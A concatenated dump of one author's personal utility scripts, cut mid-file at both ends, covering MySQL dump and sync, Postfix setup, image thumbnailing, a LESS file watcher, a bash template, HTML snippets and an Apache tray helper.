usage ; exit 1 ;; 46 | -v|--verbose) verbose=1 ; shift ;; 47 | -r|--keep-ratio) keep_ratio=1; shift ;; 48 | --) shift ; break ;; 49 | *) usage ; exit 2 ;; 50 | esac 51 | done 52 | 53 | #Error checking 54 | error_state=0; 55 | 56 | if [ -z "$basedir" ] ; then 57 | echo "No input dir specified !" 58 | error_state=1 59 | fi 60 | 61 | if [ -z "$size" ] ; then 62 | echo "No size specified !" 63 | error_state=1 64 | fi 65 | 66 | if [ "$error_state" = 1 ] ; then 67 | echo "There are errors in your arguments, exiting." 68 | exit 2 69 | fi 70 | 71 | ext='.jpg' 72 | 73 | for sourcefile in $(ls $basedir) ; do 74 | filename=${sourcefile%\.*} 75 | destfile=${filename}_${size}${ext} 76 | if [ "$verbose" = 1 ] ; then 77 | echo "Converting "$basedir$sourcefile 78 | fi 79 | if [ -z $keep_ratio ] ; then 80 | square_image_params="-gravity center -crop ${size}x${size}+0+0 +repage" 81 | geometry_modifier="^" 82 | fi 83 | $CONVERT -thumbnail "${size}x${size}${geometry_modifier}" $square_image_params -sharpen 0.25x0.25 -quality 95 -format jpg $basedir$sourcefile $basedir$destfile 84 | done 85 | 86 | # TODO 87 | # Adding Annotation To Cropped Thumbnails Using ImageMagick 88 | # http://return-true.com/2009/03/adding-annotation-to-cropped-thumbnails-using-imagemagick/ 89 | 90 | # Cropping The Thumbnails 91 | # $CONVERT -size 120x108 'path/to/file.jpg' -thumbnail 120x108^ -gravity center -extent 120x108 'path/to/output.jpg' 92 | 93 | # Adding The Annotation 94 | # $CONVERT -size 120x108 'path/to/file.jpg' -thumbnail 120x108^ -gravity center -extent 120x108 -gravity south -background black -fill '#cccccc' -font '/path/to/font.ttf' -pointsize 8 -splice 0x12 -annotate +0+1 '%[width]x%[height] %[size]' 'path/to/output.jpg' 95 | 96 | -------------------------------------------------------------------------------- /mysql-sync: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # mysql-sync : Copy the data from a given database to another database. 4 | # The schema of the second database must be compatible with the first one 5 | # 6 | # Version 0.1 (2010/07/22) 7 | # (c) 2010 Mathieu Comandon 8 | # Licensed under the terms of the GPL Version 3 9 | # 10 | 11 | set -e 12 | 13 | usage() 14 | { 15 | cat << EOF 16 | Usage: $0 --user=mysql_user --password=mysql_password --from=mysql_database --to=mysql_database 17 | This script copies the data (and only the data) from a MySQL database to another MySQL database 18 | 19 | OPTIONS: 20 | -u, --user=user MySQL user (a user that has privileges on both tables) 21 | -p, --password=password MySQL password 22 | -f, --from=database Name of the source database 23 | -t, --to=database Name of the destination database 24 | -h, --help Prints this message 25 | EOF 26 | } 27 | 28 | #Parse arguments 29 | if [ "$#" -eq 0 ] ; then 30 | usage 31 | exit 2 32 | fi 33 | 34 | PARAMS=`getopt -n $0 -o u:p:f:t:h --long user:,password:,from:,to:,help -- "$@"` 35 | eval set -- "$PARAMS" 36 | while true ; do 37 | case "$1" in 38 | -u|--user) mysql_user=$2; shift 2 ;; 39 | -p|--password) mysql_password=$2 ; shift 2 ;; 40 | -f|--from) mysql_database_from=$2 ; shift 2 ;; 41 | -t|--to) mysql_database_to=$2 ; shift 2 ;; 42 | -h|--help) usage ; exit 1 ;; 43 | --) shift ; break ;; 44 | *) usage ; exit 2 ;; 45 | esac 46 | done 47 | 48 | #Error checking 49 | error_state=0; 50 | 51 | if [ "$mysql_user" = '' ] ; then 52 | echo "You MUST specify MySQL user !" 53 | error_state=1 54 | fi 55 | 56 | if [ "$mysql_password" = '' ] ; then 57 | echo "You MUST specify MySQL password !" 58 | error_state=1 59 | fi 60 | 61 | if [ "$mysql_database_from" = '' ] ; then 62 | echo "You MUST specify a source database !" 63 | error_state=1 64 | fi 65 | 66 | if [ "$mysql_database_to" = '' ] ; then 67 | echo "You MUST specify a destination database !" 68 | error_state=1 69 | fi 70 | 71 | if [ "$error_state" = 1 ] ; then 72 | echo "There are errors in your arguments, exiting." 73 | exit 2 74 | fi 75 | 76 | dump_command="mysql-datadump -u ${mysql_user} -p ${mysql_password} -d ${mysql_database_from}" 77 | dumpfile=$($dump_command) 78 | #Save old data 79 | backup_file='/tmp/'$mysql_database_to'-save-'$(date +%Y%m%d%H%M)'.sql' 80 | mysqldump --user=$mysql_user --password=$mysql_password $mysql_database_to > $backup_file 81 | #Erase old data 82 | TABLES=$(mysql -u $mysql_user -p$mysql_password $mysql_database_to -e 'show tables' | awk '{ print $1}' | grep -v '^Tables' ) 83 | for t in $TABLES 84 | do 85 | mysql -u $mysql_user -p$mysql_password $mysql_database_to -e "SET foreign_KEY_CHECKS=0; delete from $t" 86 | done 87 | echo $dumpfile 88 | 89 | mysql -u $mysql_user -p $mysql_password $mysql_database_to < $dumpfile 90 | 91 | -------------------------------------------------------------------------------- /mysql-datadump: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # mysql-datadump : Dumps data from a MySQL database without the schema 4 | # This script is useful to update your DB schema and reimporting your 5 | # existing data. 6 | # 7 | # Version 0.1 (2010/07/21) 8 | # (c) 2010 Mathieu Comandon 9 | # Licensed under the terms of the GPL Version 3 10 | # 11 | 12 | set -e 13 | 14 | destdir='/tmp' 15 | compact=0 16 | 17 | usage() 18 | { 19 | cat << EOF 20 | Usage: $0 --user=mysql_user --password=mysql_password --database=mysql_database 21 | This script dumps the data (and only the data) of a MySQL database 22 | 23 | OPTIONS: 24 | -u, --user=user MySQL user 25 | -p, --password=password MySQL password 26 | -d, --database=database Name of the database 27 | -o, --output-dir Write dump file to this directory (Default: /tmp) 28 | -c, --compact Use compact mode 29 | -z, --gzip Gzip the output file 30 | -h, --help Prints this message 31 | EOF 32 | } 33 | 34 | 35 | #Parse arguments 36 | if [ "$#" -eq 0 ] ; then 37 | usage 38 | exit 2 39 | fi 40 | PARAMS=`getopt -n $0 -o u:p:d:o:czh --long user:,password:,database:,output_dir:,compact,gzip,help -- "$@"` 41 | eval set -- "$PARAMS" 42 | while true ; do 43 | case "$1" in 44 | -u|--user) mysql_user=$2; shift 2 ;; 45 | -p|--password) mysql_password=$2 ; shift 2 ;; 46 | -d|--database) mysql_database=$2 ; shift 2 ;; 47 | -c|--compact) compact=1 ; shift ;; 48 | -o|--output-dir) destdir=$2 ; shift 2 ;; 49 | -z|--gzip) gzip_enable=1 ; shift ;; 50 | -h|--help) usage ; exit 1 ;; 51 | --) shift ; break ;; 52 | *) usage ; exit 2 ;; 53 | esac 54 | done 55 | 56 | #Error checking 57 | error_state=0; 58 | 59 | if [ "$mysql_user" = '' ] ; then 60 | echo "You MUST specify MySQL user !" 61 | error_state=1 62 | fi 63 | 64 | if [ "$mysql_password" = '' ] ; then 65 | echo "You MUST specify MySQL password !" 66 | error_state=1 67 | fi 68 | 69 | if [ "$mysql_database" = '' ] ; then 70 | echo "You MUST specify MySQL database !" 71 | error_state=1 72 | fi 73 | 74 | if [ ! -d "$destdir" ] ; then 75 | echo "Destination directory doesn't exist !" 76 | error_state=1 77 | fi 78 | 79 | if [ "$error_state" = 1 ] ; then 80 | echo "There are errors in your arguments, exiting." 81 | exit 2 82 | fi 83 | 84 | #Dump data to file 85 | dumpfile=$destdir'/'$mysql_database'-data-'$(date +%Y%m%d%H%M)'.sql' 86 | compact_arg="" 87 | if [ "$compact" = 1 ] ; then 88 | compact_arg="--compact" 89 | fi 90 | # 91 | mysqldump --user "$mysql_user" --password="$mysql_password" --skip-triggers --complete-insert --no-create-info $compact_arg $mysql_database > $dumpfile 92 | 93 | #Gzip 94 | if [ $gzip_enable ] ; then 95 | gzip $dumpfile 96 | dumpfile=$dumpfile".gz" 97 | fi 98 | 99 | #Finish 100 | echo $dumpfile 101 | exit 0 102 | -------------------------------------------------------------------------------- /mysql-fetchdump: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # mysql-fetchdump : Fetchs a MySQL dump from a distant server with SSH 4 | # Only works with key-type SSH authentication 5 | # See : http://wiki.strycore.com/index.php/Ssh if you don't know how to 6 | # setup ssh to login without a password. 7 | # 8 | # Version 0.1 (2010/07/22) 9 | # (c) 2010 Mathieu Comandon 10 | # Licensed under the terms of the GPL Version 3 11 | # 12 | 13 | set -e 14 | destdir='/tmp' 15 | ssh_user=$USER 16 | usage() 17 | { 18 | cat << EOF 19 | Usage: $0 --host=hostname --login=user --user=mysql_user --password=mysql_password --database=mysql_database 20 | Dumps a MySQL database with the schema and data 21 | 22 | OPTIONS: 23 | -H, --host=host IP or domain name of the distant server 24 | -l, --login=user Unix account on the remote server (Default: your local login) 25 | -u, --user=user MySQL user for the remote server 26 | -p, --password=password MySQL password for the remote server 27 | -d, --database=database Name of the database on the remote server 28 | -o, --output-dir Write dump file to this directory (Default: /tmp) 29 | -v, --verbose Verbose mode 30 | -h, --help Prints this message 31 | EOF 32 | } 33 | 34 | #Parse arguments 35 | if [ "$#" -eq 0 ] ; then 36 | usage 37 | exit 2 38 | fi 39 | 40 | PARAMS=$(getopt -n $0 -o u:p:d:o:l:H:hv --long user:,password:,database:,output_dir:,host:,login:,verbose,help -- "$@") 41 | eval set -- "$PARAMS" 42 | while true ; do 43 | case "$1" in 44 | -u|--user) mysql_user=$2; shift 2 ;; 45 | -p|--password) mysql_password=$2 ; shift 2 ;; 46 | -d|--database) mysql_database=$2 ; shift 2 ;; 47 | -o|--output-dir) destdir=$2 ; shift 2 ;; 48 | -l|--login) ssh_user=$2 ; shift 2 ;; 49 | -H|--host) host=$2 ; shift 2 ;; 50 | -v|--verbose) verbose=1 ; shift ;; 51 | -h|--help) usage ; exit 1 ;; 52 | --) shift ; break ;; 53 | *) usage ; exit 2 ;; 54 | esac 55 | done 56 | 57 | #Error checking 58 | error_state=0; 59 | 60 | if [ -z "$mysql_user" ] ; then 61 | echo "You MUST specify MySQL user !" 62 | error_state=1 63 | fi 64 | 65 | if [ -z "$host" ] ; then 66 | echo "No remote host specified." 67 | error_state=1 68 | fi 69 | 70 | if [ -z "$mysql_password" ] ; then 71 | echo "You MUST specify MySQL password !" 72 | error_state=1 73 | fi 74 | 75 | if [ -z "$mysql_database" ] ; then 76 | echo "You MUST specify MySQL database !" 77 | error_state=1 78 | fi 79 | 80 | if [ ! -d "$destdir" ] ; then 81 | echo "Destination directory doesn't exist !" 82 | error_state=1 83 | fi 84 | 85 | if [ "$error_state" = 1 ] ; then 86 | echo "There are errors in your arguments, exiting." 87 | exit 2 88 | fi 89 | echo $destdir 90 | #Dump remote database 91 | remote_command="mysql-autodump -d ${mysql_database} -u ${mysql_user} -p ${mysql_password} -z" 92 | if [ $verbose ] ; then 93 | echo "Dumping remote database" 94 | fi 95 | dumpfile=$(ssh $ssh_user@$host $remote_command) 96 | if [ $verbose ] ; then 97 | echo "Fetching remote dump" 98 | fi 99 | 100 | destfile=$destdir/$(basename $dumpfile) 101 | scp -q $ssh_user@$host:$dumpfile $destfile 102 | gunzip $destfile 103 | destfile=`echo $destfile | sed 's/\(.*\)\..*/\1/'` 104 | echo $destfile 105 | -------------------------------------------------------------------------------- /postfix-configure: -------------------------------------------------------------------------------- 1 | #/bin/bash 2 | 3 | set -e 4 | 5 | SERVER_NAME='mail.strycore.com' 6 | 7 | COMPANY_NAME=$SERVER_NAME 8 | ORGANISATION='Strycore' 9 | COUNTRY='FR' 10 | STATE="Aquitaine" 11 | CITY="Bordeaux" 12 | 13 | 14 | apt-get install postfix 15 | 16 | mkdir -p $HOME/Maildir 17 | 18 | postconf -e 'home_mailbox = Maildir/' 19 | postconf -e 'smtpd_sasl_local_domain =' 20 | postconf -e 'smtpd_sasl_auth_enable = yes' 21 | postconf -e 'smtpd_sasl_security_options = noanonymous' 22 | postconf -e 'broken_sasl_auth_clients = yes' 23 | postconf -e 'smtpd_sender_restrictions = permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination' 24 | postconf -e 'smtpd_recipient_restrictions = permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination' 25 | postconf -e 'inet_interfaces = all' 26 | postconf -e 'inet_protocols = ipv4' 27 | 28 | SMTPD_CONF="/etc/postfix/sasl/smtpd.conf" 29 | touch $SMTPD_CONF 30 | echo "pwcheck_method: saslauthd" > $SMTPD_CONF 31 | echo "mech_list: plain login" >> $SMTPD_CONF 32 | 33 | cd /tmp 34 | 35 | touch smtpd.key 36 | chmod 600 smtpd.key 37 | openssl genrsa 1024 > smtpd.key 38 | openssl req -new -key smtpd.key -subj '/CN=www.strycore.com/O=A2V/C=FR/ST=Aquitaine/L=Bordeaux/CN=Mathieu Comandon' -x509 -days 3650 -out smtpd.crt 39 | openssl req -new -x509 -extensions v3_ca -keyout cakey.pem -out cacert.pem -subj '/CN=www.strycore.com/O=Strycore/C=FR/ST=Aquitaine/L=Bordeaux/CN=Mathieu Comandon' -days 3650 40 | mv smtpd.key /etc/ssl/private/ 41 | mv smtpd.crt /etc/ssl/certs/ 42 | mv cakey.pem /etc/ssl/private/ 43 | mv cacert.pem /etc/ssl/certs/ 44 | 45 | postconf -e 'smtp_tls_security_level = may' 46 | postconf -e 'smtpd_tls_security_level = may' 47 | postconf -e 'smtpd_tls_auth_only = no' 48 | postconf -e 'smtp_tls_note_starttls_offer = yes' 49 | postconf -e 'smtpd_tls_key_file = /etc/ssl/private/smtpd.key' 50 | postconf -e 'smtpd_tls_cert_file = /etc/ssl/certs/smtpd.crt' 51 | postconf -e 'smtpd_tls_CAfile = /etc/ssl/certs/cacert.pem' 52 | postconf -e 'smtpd_tls_loglevel = 1' 53 | postconf -e 'smtpd_tls_received_header = yes' 54 | postconf -e 'smtpd_tls_session_cache_timeout = 3600s' 55 | postconf -e 'tls_random_source = dev:/dev/urandom' 56 | postconf -e "myhostname = $SERVER_NAME" 57 | 58 | /etc/init.d/postfix restart 59 | 60 | apt-get install libsasl2-2 sasl2-bin 61 | 62 | cp /etc/default/saslauthd /tmp 63 | 64 | sed -i 's/START=no/START=yes/' /etc/default/saslauthd 65 | sed -i 's|-c -m /var/run/saslauthd|-c -r -m /var/spool/postfix/var/run/saslauthd|' /etc/default/saslauthd 66 | if [ $(grep PIDFILE /etc/default/saslauthd | wc -l) = 0 ] ; then 67 | sed -i ' 68 | /START=yes/ a\ 69 | \ 70 | PWDIR="/var/spool/postfix/var/run/saslauthd"\ 71 | PARAMS="-m ${PWDIR}"\ 72 | PIDFILE="${PWDIR}/saslauthd.pid"\ 73 | ' /etc/default/saslauthd 74 | fi 75 | 76 | 77 | dpkg-statoverride --force --update --add root sasl 755 /var/spool/postfix/var/run/saslauthd 78 | /etc/init.d/saslauthd start 79 | 80 | USER_HASH=$(echo $SMTP_USER | base64) 81 | PASSWORD_HASH=$(echo $SMTP_PASSWORD | base64) 82 | 83 | echo << EOF 84 | Opening telnet connection for testing postfix 85 | The expected result is : 86 | 250-STARTTLS 87 | 250-AUTH LOGIN PLAIN 88 | 250-AUTH=LOGIN PLAIN 89 | 90 | Type in : 91 | ehlo localhost 92 | auth login 93 | $USER_HASH 94 | $PASSWORD_HASH 95 | mail from: $EMAIL 96 | rcpt to: $EMAIL 97 | data 98 | My message here 99 | . 100 | quit 101 | EOF 102 | 103 | echo 'now type: ehlo localhost' 104 | telnet localhost 25 105 | -------------------------------------------------------------------------------- /lesswatch: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # (c) 2011, Mathieu Comandon 4 | # License : GPL-3 5 | # For more information read : /usr/share/common-licenses/GPL-3 6 | # 7 | # Version 0.1 8 | # 9 | 10 | # if you get a pynotify error try running : 11 | # sudo sysctl -n -w fs.inotify.max_user_watches=16384 12 | # https://github.com/seb-m/pyinotify/wiki/Frequently-Asked-Questions 13 | 14 | try: 15 | import pyinotify 16 | except: 17 | print "You need to install the python bindings for inotify (python-pyinotify)" 18 | print "inotify is a Linux-only feature and is not available on other systems, sorry." 19 | exit() 20 | 21 | import os 22 | import sys 23 | import time 24 | import glob 25 | import subprocess 26 | try: 27 | from gi.repository import Notify 28 | except ImportError: 29 | Notify = None 30 | 31 | 32 | class color: 33 | red = '\033[91m' 34 | yellow = '\033[93m' 35 | green = '\033[92m' 36 | blue = '\033[94m' 37 | purple = '\033[95m' 38 | bold = '\033[1m' 39 | none = '\033[0m' 40 | 41 | if len(sys.argv) > 1: 42 | path = sys.argv[1] 43 | if not os.path.exists(path): 44 | print "Invalid path %s" % path 45 | exit() 46 | else: 47 | path = os.getcwd() 48 | 49 | # Read @import directives and find reverse dependencies 50 | lessfiles = glob.glob(path + '/*.less') 51 | imports = {} 52 | for lessfile in lessfiles: 53 | line = "-" 54 | less = file(lessfile) 55 | while line: 56 | line = less.readline() 57 | if line.startswith("@import"): 58 | less_base = os.path.basename(lessfile) 59 | less_import = line[7:].strip("\"'; \t\n") 60 | if less_import.endswith('.css'): 61 | continue 62 | elif not less_import.endswith('.less'): 63 | less_import += ".less" 64 | if less_import not in imports: 65 | imports[less_import] = [] 66 | if less_base not in imports[less_import]: 67 | imports[less_import].append(less_base) 68 | 69 | # Watch changes 70 | wm = pyinotify.WatchManager() 71 | mask = pyinotify.IN_MODIFY | pyinotify.IN_DELETE | pyinotify.IN_CREATE 72 | error = False 73 | 74 | 75 | class EventHandler(pyinotify.ProcessEvent): 76 | def compile_less(self, less_path): 77 | less_file = os.path.basename(less_path) 78 | target = less_path[:-4] + "css" 79 | return_code = subprocess.call(['lessc', less_path, target]) 80 | global error 81 | if return_code == 0: 82 | if error is True: 83 | compile_normal_notify = Notify.Notification.new( 84 | "LessCSS compile back to normal", 85 | "File %s has been fixed" % less_file, 86 | "info" 87 | ) 88 | compile_normal_notify.show() 89 | error = False 90 | print color.green + "* Updated" + color.none, less_file 91 | 92 | else: 93 | print color.red + "! Syntax error in " + less_file + color.none 94 | if Notify: 95 | Notify.init("LessCSS compile error") 96 | error = True 97 | compile_error_notify = Notify.Notification.new( 98 | "LessCSS compile error", 99 | "In file %s" % less_file, 100 | "dialog-error-symbolic" 101 | ) 102 | compile_error_notify.show() 103 | 104 | def process_IN_MODIFY(self, event): 105 | if not event.pathname.endswith('.less'): 106 | return 107 | cwd = os.getcwd() 108 | less_path = event.pathname 109 | less_filename = os.path.basename(less_path) 110 | print time.strftime("%H:%M:%S"), "-- Change detected in %s ..." % less_filename 111 | self.compile_less(less_path) 112 | less_relative_path = less_path[len(cwd) + 1:] 113 | for less_base in imports[less_relative_path]: 114 | path = os.path.join(cwd, less_base) 115 | print path 116 | self.compile_less(path) 117 | 118 | handler = EventHandler() 119 | notifier = pyinotify.Notifier(wm, handler) 120 | wdd = wm.add_watch(path, mask, rec=True) 121 | print "* Watching for changes in %s... Ctrl-C to abort." % os.path.abspath(path) 122 | notifier.loop() 123 | -------------------------------------------------------------------------------- /bash-framework: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # script-name -- short desctription of what is does 4 | # Copyright (C) 2011 Your Name 5 | # 6 | # Version 0.0 (1970/01/01) 7 | # 8 | # Licensed under 9 | # 10 | 11 | 12 | # Quit script on error 13 | set -e 14 | 15 | function usage { 16 | cat << EOF 17 | Usage: $0 [OPTION]... [FILE]... 18 | Insert description here. 19 | 20 | Explain argument usage here. 21 | -a, --optiona explain option a 22 | -b, --optionb explain option b 23 | -c, --optionc=VAL explain option c and VAL requirements 24 | EOF 25 | } 26 | 27 | function error { 28 | #Do error handling here, like cleanup and suff 29 | rm $temp_dir 30 | #Or you can send an email 31 | mail $USER -s "Your script has crashed" 32 | } 33 | trap error ERR 34 | 35 | function cleanup { 36 | #Do some cleanup in case script is prematurely interrupted 37 | echo "cleanup" 38 | exit 2 39 | } 40 | trap cleanup SIGINT SIGTERM 41 | 42 | #Parse arguments 43 | 44 | #If the script doesn't require mandatory argument, remove following lines. 45 | if [ "$#" -eq 0 ] ; then 46 | usage 47 | exit 2 48 | fi 49 | 50 | #Describe your arguments here 51 | PARAMS=`getopt -n $0 -o abc:h --long optiona,optionb,optionc:,help -- "$@"` 52 | eval set -- "$PARAMS" 53 | while true ; do 54 | case "$1" in 55 | -a|--optiona) flag_a=1; shift ;; 56 | -b|--optionb) flag_b=1 ; shift ;; 57 | -c|--optionc) some_variable=$2 ; shift 2 ;; 58 | -h|--help) usage ; exit 1 ;; 59 | --) other_variable=$2 ; shift ; break ;; 60 | *) usage ; exit 2 ;; 61 | esac 62 | done 63 | 64 | #Error checking 65 | if [ -z "$other_variable" ] ; then 66 | echo "Error message here" 67 | exit 2 68 | fi 69 | 70 | #If you plan looping on directories and files with spaces 71 | IFS=$(echo -en "\n\b") 72 | 73 | #If you plan using globbing 74 | shopt -s extglob 75 | 76 | #If you need a temporary dir 77 | temp_dir=$(mktemp -d) 78 | #Then put this at the end of script 79 | rm -r $temp_dir 80 | 81 | # 82 | # Snippets 83 | # 84 | # Most snippets comes from the Advanced Bash-Scripting Guide 85 | # http://tldp.org/LDP/abs/html/index.html 86 | # 87 | 88 | #Script arguments 89 | num_args=$# 90 | args=$@ 91 | 92 | # Substring Extraction 93 | 94 | ${string:position} #Extracts substring from $string at $position. 95 | ${string:position:length} #Extracts $length characters of substring from $string at $position. 96 | ${string: -position} #index from the right end of the string 97 | #If the $string parameter is "*" or "@", then this extracts a maximum of $length positional parameters, starting at $position. 98 | #Extracts $length characters from $string starting at $position. 99 | expr substr $string $position $length 100 | 101 | #Extracts $substring at beginning of $string, where $substring is a regular expression. 102 | #regexp reference : http://tldp.org/LDP/abs/html/regexp.html#REGEXREF 103 | expr match "$string" '\($substring\)' 104 | 105 | #Extracts $substring at end of $string, where $substring is a regular expression. 106 | expr match "$string" '.*\($substring\)' 107 | #or 108 | expr "$string" : '.*\($substring\)' 109 | 110 | #Deletes shortest match of $substring from front of $string. 111 | ${string#substring} 112 | 113 | #Deletes longest match of $substring from front of $string. 114 | ${string##substring} 115 | 116 | #Deletes shortest match of $substring from back of $string. 117 | ${string%substring} 118 | 119 | # Substring removal 120 | 121 | #Deletes shortest match of $substring from front of $string. 122 | ${string#substring} 123 | 124 | #Deletes longest match of $substring from front of $string. 125 | ${string##substring} 126 | 127 | #Deletes shortest match of $substring from back of $string. 128 | ${string%substring} 129 | 130 | #Deletes longest match of $substring from back of $string 131 | ${string%%substring} 132 | 133 | # Substring Replacement 134 | 135 | #Replace first match of $substring with $replacement. 136 | ${string/substring/replacement} 137 | 138 | #Replace all matches of $substring with $replacement. 139 | ${string//substring/replacement} 140 | 141 | #If $substring matches front end of $string, substitute $replacement for $substring. 142 | ${string/#substring/replacement} 143 | 144 | #If $substring matches back end of $string, substitute $replacement for $substring. 145 | ${string/%substring/replacement} 146 | 147 | -------------------------------------------------------------------------------- /snippets/html.snippets: -------------------------------------------------------------------------------- 1 | # Some useful Unicode entities 2 | # Non-Breaking Space 3 | snippet nbs 4 |   5 | # ← 6 | snippet left 7 | ← 8 | # → 9 | snippet right 10 | → 11 | # ↑ 12 | snippet up 13 | ↑ 14 | # ↓ 15 | snippet down 16 | ↓ 17 | # ↩ 18 | snippet return 19 | ↩ 20 | # ⇤ 21 | snippet backtab 22 | ⇤ 23 | # ⇥ 24 | snippet tab 25 | ⇥ 26 | # ⇧ 27 | snippet shift 28 | ⇧ 29 | # ⌃ 30 | snippet control 31 | ⌃ 32 | # ⌅ 33 | snippet enter 34 | ⌅ 35 | # ⌘ 36 | snippet command 37 | ⌘ 38 | # ⌥ 39 | snippet option 40 | ⌥ 41 | # ⌦ 42 | snippet delete 43 | ⌦ 44 | # ⌫ 45 | snippet backspace 46 | ⌫ 47 | # ⎋ 48 | snippet escape 49 | ⎋ 50 | # Generic Doctype 51 | snippet doctype HTML 4.01 Strict 52 | 54 | snippet doctype HTML 4.01 Transitional 55 | 57 | snippet doctype HTML 5 58 | 59 | snippet doctype XHTML 1.0 Frameset 60 | 62 | snippet doctype XHTML 1.0 Strict 63 | 65 | snippet doctype XHTML 1.0 Transitional 66 | 68 | snippet doctype XHTML 1.1 69 | 71 | # HTML Doctype 4.01 Strict 72 | snippet docts 73 | 75 | # HTML Doctype 4.01 Transitional 76 | snippet doct 77 | 79 | # HTML Doctype 5 80 | snippet doct5 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | # XHTML Doctype 1.0 Frameset 93 | snippet docxf 94 | 96 | # XHTML Doctype 1.0 Strict 97 | snippet docxs 98 | 100 | # XHTML Doctype 1.0 Transitional 101 | snippet docxt 102 | 104 | # XHTML Doctype 1.1 105 | snippet docx 106 | 108 | snippet html 109 | 110 | ${1} 111 | 112 | snippet xhtml 113 | 114 | ${1} 115 | 116 | snippet body 117 | 118 | ${1} 119 | 120 | snippet head 121 | 122 | 123 | 124 | ${1:`substitute(Filename('', 'Page Title'), '^.', '\u&', '')`} 125 | ${2} 126 | 127 | snippet title 128 | ${1:`substitute(Filename('', 'Page Title'), '^.', '\u&', '')`}${2} 129 | snippet script 130 | ${2} 133 | snippet scriptsrc 134 | ${2} 135 | snippet style 136 | ${3} 139 | snippet base 140 | 141 | snippet r 142 | 143 | snippet div 144 |
145 | ${2} 146 |
147 | snippet footer 148 |
149 | ${2} 150 |
151 | # Embed QT Movie 152 | snippet movie 153 | 155 | 156 | 157 | 158 | 164 | ${6} 165 | snippet fieldset 166 |
167 | ${1:name} 168 | 169 | ${3} 170 |
171 | snippet form 172 |
173 | ${3} 174 | 175 | 176 |

177 |
178 | snippet h1 179 |

${2:$1}

180 | snippet input 181 | ${4} 182 | snippet label 183 | ${7} 184 | snippet link 185 | ${4} 186 | snippet mailto 187 | ${3:email me} 188 | snippet meta 189 | ${3} 190 | snippet opt 191 | ${3} 192 | snippet optt 193 | ${2} 194 | snippet select 195 | ${5} 198 | snippet table 199 | 200 | 201 | 202 |
${2:Header}
${3:Data}
${4} 203 | snippet textarea 204 | ${5} 205 | -------------------------------------------------------------------------------- /ah: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # ah - apache helper aka AH-64 3 | # 4 | # (c) 2010, Mathieu Comandon 5 | # License : GPL-3 6 | # For more information read : /usr/share/common-licenses/GPL-3 7 | # 8 | # Goal : 64 funcionnalites 9 | # 1 - Edit /etc/hosts 10 | # 2 - Set permission to all served files to www-data 11 | # 3 - Restart Apache 12 | # 4 - Edit vhost config 13 | # 5 - browse files 14 | # 6 - browse website 15 | # 7 - list all vhosts 16 | # 8 - view error log 17 | # 9 - clear error log 18 | # 10 - view witch sites are enabled 19 | # 11 - enable or disable a vhost 20 | # 12 - edit php.ini 21 | 22 | import os 23 | import gtk 24 | import appindicator 25 | 26 | TERM="terminator" 27 | PHPINI_PATH = "/etc/php5/apache2/php.ini" 28 | PERMSITE_PATH = os.path.expanduser('~') + '/bin/' 29 | FILE_BROWSER = "nautilus" 30 | WEB_BROWSER = "firefox" 31 | EDITOR = "gedit" 32 | 33 | sitesavailable = os.listdir("/etc/apache2/sites-available/") 34 | sitesenabled = os.listdir("/etc/apache2/sites-enabled") 35 | 36 | def edit_hosts(widget): 37 | os.system("gksu %s /etc/hosts &" % EDITOR) 38 | 39 | def edit_phpini(widget): 40 | os.system("gksu %s %s &" % (EDITOR,PHPINI_PATH)) 41 | 42 | def chown_fix(widget): 43 | os.system("xterm %s" % PERMSITE_PATH) 44 | 45 | def restart_apache(widget): 46 | os.system("%s -e \"gksu /etc/init.d/apache2 restart\" --geometry=600x300+100+100" % TERM) 47 | 48 | def get_apache_info(site): 49 | vhost_conf = open('/etc/apache2/sites-available/'+site,'r') 50 | line = "-" 51 | apache_info = {'server_name':'localhost','document_root':'/var/www'} 52 | while line: 53 | line = vhost_conf.readline() 54 | if "ErrorLog" in line: 55 | apache_info['error_log'] = str.strip(line[line.find("ErrorLog")+len("ErrorLog"):]) 56 | if "ServerName" in line: 57 | apache_info['server_name'] = str.strip(line[line.find("ServerName")+len("ServerName"):]) 58 | if "DocumentRoot" in line: 59 | apache_info['document_root'] = str.strip(line[line.find("DocumentRoot")+len("DocumentRoot"):]) 60 | return apache_info 61 | 62 | def browse_files (widget,data): 63 | os.system("%s %s" % (FILE_BROWSER, get_apache_info(data)['document_root'])) 64 | 65 | def browse_website(widget,data): 66 | os.system("%s -new-window %s" % (WEB_BROWSER, get_apache_info(data)['server_name'])) 67 | 68 | def show_log(widget,data): 69 | os.system("%s -m -e \"tail -n 99 -f %s \" &" % (TERM,get_apache_info(data)['error_log'])) 70 | 71 | def edit_vhost(widget, site): 72 | os.system("gksu gedit /etc/apache2/sites-available/%s &" % site) 73 | 74 | def clear_log(widget,data): 75 | os.system("echo \"\" | gksu tee %s" % get_apache_info(data)['error_log']) 76 | 77 | def enable_disable(widget,site,site_item): 78 | menu_icon = site_item.get_image() 79 | menu_icon.set_from_stock(gtk.STOCK_COPY, gtk.ICON_SIZE_SMALL_TOOLBAR) 80 | label = widget.get_label() 81 | if label == "Disable site": 82 | os.system("xterm -e \"gksu a2dissite %s\" " % site) 83 | menu_icon.set_from_stock(gtk.STOCK_NO, gtk.ICON_SIZE_SMALL_TOOLBAR) 84 | site_item.set_image(menu_icon) 85 | widget.set_label("Enable site") 86 | else: 87 | os.system("xterm -e \"gksu a2ensite %s\" " % site) 88 | menu_icon.set_from_stock(gtk.STOCK_YES, gtk.ICON_SIZE_SMALL_TOOLBAR) 89 | site_item.set_image(menu_icon) 90 | widget.set_label("Disable site") 91 | site_item.set_label(site) 92 | restart_apache(None) 93 | 94 | if __name__ == "__main__": 95 | ind = appindicator.Indicator ("apache-icon", "apache-icon", appindicator.CATEGORY_APPLICATION_STATUS) 96 | ind.set_status (appindicator.STATUS_ACTIVE) 97 | menu = gtk.Menu() 98 | 99 | hosts_item = gtk.MenuItem("Edit hosts") 100 | hosts_item.connect("activate", edit_hosts) 101 | menu.append(hosts_item) 102 | 103 | phpini_item = gtk.MenuItem("Edit php.ini") 104 | phpini_item.connect("activate", 